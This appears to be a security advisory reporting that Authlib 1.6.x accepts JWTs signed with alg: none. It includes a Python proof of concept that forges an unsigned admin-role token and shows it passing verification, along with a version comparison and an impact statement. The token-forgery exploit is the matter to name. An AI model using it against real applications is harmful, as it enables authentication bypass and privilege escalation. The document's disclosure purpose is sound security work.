Summary After upgrading the library from 1.5.2 to 1.6.0 (and the latest 1.6.5) it was noticed that previous tests involving passing a malicious JWT containing alg: none and an empty signature was passing the signature verification step without any changes to the application code when a failure was expected.

Details It was likely introduced in this commit: https://github.com/authlib/authlib/commit/a61c2acb807496e67f32051b5f1b1d5ccf8f0a75

PoC from authlib.jose import jwt, JsonWebKey from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.primitives import serialization from cryptography.hazmat.backends import defaultbackend import json import base64

def createjwks(): privatekey = rsa.generateprivatekey( publicexponent=65537, keysize=2048, backend=defaultbackend() ) publicpem = privatekey.publickey().publicbytes( encoding=serialization.Encoding.PEM, format=serialization.PublicFormat.SubjectPublicKeyInfo, ) jwk = JsonWebKey.importkey(publicpem).asdict() jwk["kid"] = "test-key-001" jwk["use"] = "sig" jwk["alg"] = "RS256" jwks = {"keys": [jwk]} return jwks

def createforgedtokenwithalgnone(): forgedheader = {"alg": "none"} forgedpayload = { "sub": "user123", "role": "admin", "iat": 1735603200, }

headerb64 = base64.urlsafeb64encode( json.dumps(forgedheader).encode("utf-8") ).rstrip(b"=")

payloadb64 = base64.urlsafeb64encode( json.dumps(forgedpayload).encode("utf-8") ).rstrip(b"=")

forgedtoken = headerb64 + b"." + payloadb64 + b"." return forgedtoken

jwks = createjwks() forgedtoken = createforgedtokenwithalgnone() try: claims = jwt.decode(forgedtoken, jwks) print(f"VULNERABLE: Forged token (alg:none) accepted: role={claims['role']}") except Exception as e: print(f"SECURE: Token rejected - {type(e).name}")

Output: pip install -q authlib==1.5.2 python3 authlibalgnonevulnerability.py SECURE: Token rejected - BadSignatureError pip install -q authlib==1.6.5 python3 authlibalgnonevulnerability.py VULNERABLE: Forged token (alg:none) accepted: role=admin

Impact Users of the library are likely not aware that they now need to check the provided headers and disallow alg: none usage, it is not obvious from the release notes that any action needs to be taken. As a best-practice, the library should adopt a 'secure by default' stance and default to rejecting it and allow the application to provide an algorithm whitelist.

Applications using this library for authentication or authorization may accept malicious, forged JWTs, leading to: - Authentication bypass - Privilege escalation - Unauthorized access - Modification of application data